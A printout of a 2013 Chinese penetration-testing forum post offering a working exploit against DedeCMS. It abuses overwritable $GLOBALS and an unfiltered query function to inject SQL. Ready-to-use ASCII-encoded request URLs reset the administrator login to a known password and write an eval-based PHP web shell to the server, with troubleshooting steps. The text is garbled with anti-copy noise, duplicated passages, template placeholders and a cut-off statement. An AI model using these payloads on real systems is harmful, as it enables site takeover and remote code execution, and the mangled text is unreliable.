中国网络渗透测试联盟

标题: dedecms最新版本修改任意管理员漏洞+getshell+exp [打印本页]
作者: admin    时间: 2013-9-21 16:08
标题: dedecms最新版本修改任意管理员漏洞+getshell+exp
此漏洞无视gpc转义，过80sec注入防御。
' q# D# [& r8 q! |: U6 z: a+ m补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？  b2 a: I0 O6 z6 Z/ f+ y
起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。
4 `* n. i- P6 e. H& J- |& ~: Hinclude/dedesql.class.php+ E) |' G$ v7 D# Q0 p7 x
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说，不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
3 ^/ |: @: a- v. p2 s$ `' W同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2+ L0 m. P* B  q: ]8 W, V
而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。
. h- M  L9 A. I* splus/download.php' D! Z( I7 p9 p, w% R
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：' ?3 h! s: I( z9 s7 }
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
( G  D9 z) L. I; Z1 AUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
; C9 c! Q+ G; B3 Q5 U. ^+ J/ D+ Vhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题，后台登录用户spider密码admin) \, u* X1 j3 U% H1 R" [
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究。
2 K1 f3 s5 k! O) Y1 U如果找不到后台，参见以前修改数据库直接拿SHELL的方法$ ^+ f* h0 m  B  x; i2 l+ y+ m
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义，过80sec注入防御。! c( q2 J+ Y! n. W+ D4 F
补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？
+ L9 c) e6 ]: a8 W' f7 x1 ?) l起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。
( \7 X8 i3 C+ z9 Q9 M' Einclude/dedesql.class.php
- f2 G4 k1 ?) Z1 Uif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说，不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
9 j4 V4 `- g* V( f* Z$ O- B6 e同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery20 O( s, ~- ]0 u! _
而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。  q0 d* B0 C7 M7 H6 h7 |0 L
plus/download.php0 t  g; q0 T, m% g! w! X- e7 `
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：3 q; A( m. _& H9 g
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
$ @* z* Z: o5 lUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:( O+ C  u6 H$ Q, v* K! n/ T
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题，后台登录用户spider密码admin/ s! u6 N; q& w$ b0 G( A0 I
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究。
! }' Q; I) p  J1 C" h. V如果找不到后台，参见以前修改数据库直接拿SHELL的方法
9 N. K3 s4 T2 C! y8 f9 n2 `___FCKpd___6getshell：9 Y9 R( K/ d5 x; T
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m4 c3 h7 e& O" x9 B2 ?/ [$ d" t
http://127.0.0.1/plus/x.php/ ?( l* R7 _5 J" X$ i
update成功后还要访问下 /plus/mytag_js.php?aid=1
6 H( L5 Q3 @/ {6 t失败原因：
8 P" N* l0 m8 ^$ h2 O测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)/ N4 P' w" H8 L, Z
配图：
, o3 B1 y. @: g1.查看dede当前版本
3 ]( d$ M  U4 `9 h( p! V$ S0 x) T4 n8 }9 X/ q9 j
2.执行exp# l' ^- V" U4 U. N, y

6 |; i! ?7 b. K9 V. j& \http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
! t7 C2 o% e" |! ?0 c8 V- \4 ?* Z+ D, ^9 ~/ P9 |9 V1 C
spider密码admin
' y5 ?) p2 r) p1 _, z% G' p4 X. r% j8 o
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png0 _  C* p' N1 {: ^1 m: i
原作者：imspider
: J6 v3 h7 n' A: o0 L" M+ m: \+ @. C
& x8 _  G' g9 j本博客测试+配图+getshell
. Z: ~" w, T) K9 X* _0 ?POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
% J" Q3 T) J! R' j" J- T- M" M. j: L% }, f6 Y: t: L4 @
getshell：
! v; V( h+ {5 J% g' T, P___FCKpd___7会在plus目录生成 x.php 密码 m  d# p! c$ d' P. U- _- r! d" G4 {+ X, h
http://127.0.0.1/plus/x.php# D3 i  e' z8 t% B7 o7 ?1 l! S
update成功后还要访问下 /plus/mytag_js.php?aid=1
4 n( P. P/ E7 h# m失败原因：3 G; }& Q' O* @. @
测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
, ]. w: s3 E* T0 C6 m2 d5 y& F配图：; z/ m) M8 Z9 U4 t
1.查看dede当前版本
' N2 \3 y! V- X8 v' l# ^; s9 ?http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
) U2 J- S5 |8 ~# c* u- d2.执行exp: M% Z/ o. X/ c" N$ r
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
- l+ ]* {* c, J8 E7 Yspider密码admin
) }  T% c2 O# S, {/ Y, C4 `http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
6 \+ t9 P9 _. [7 A2 V2 X
! X9 l/ _. {& |1 E: n" A( z



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2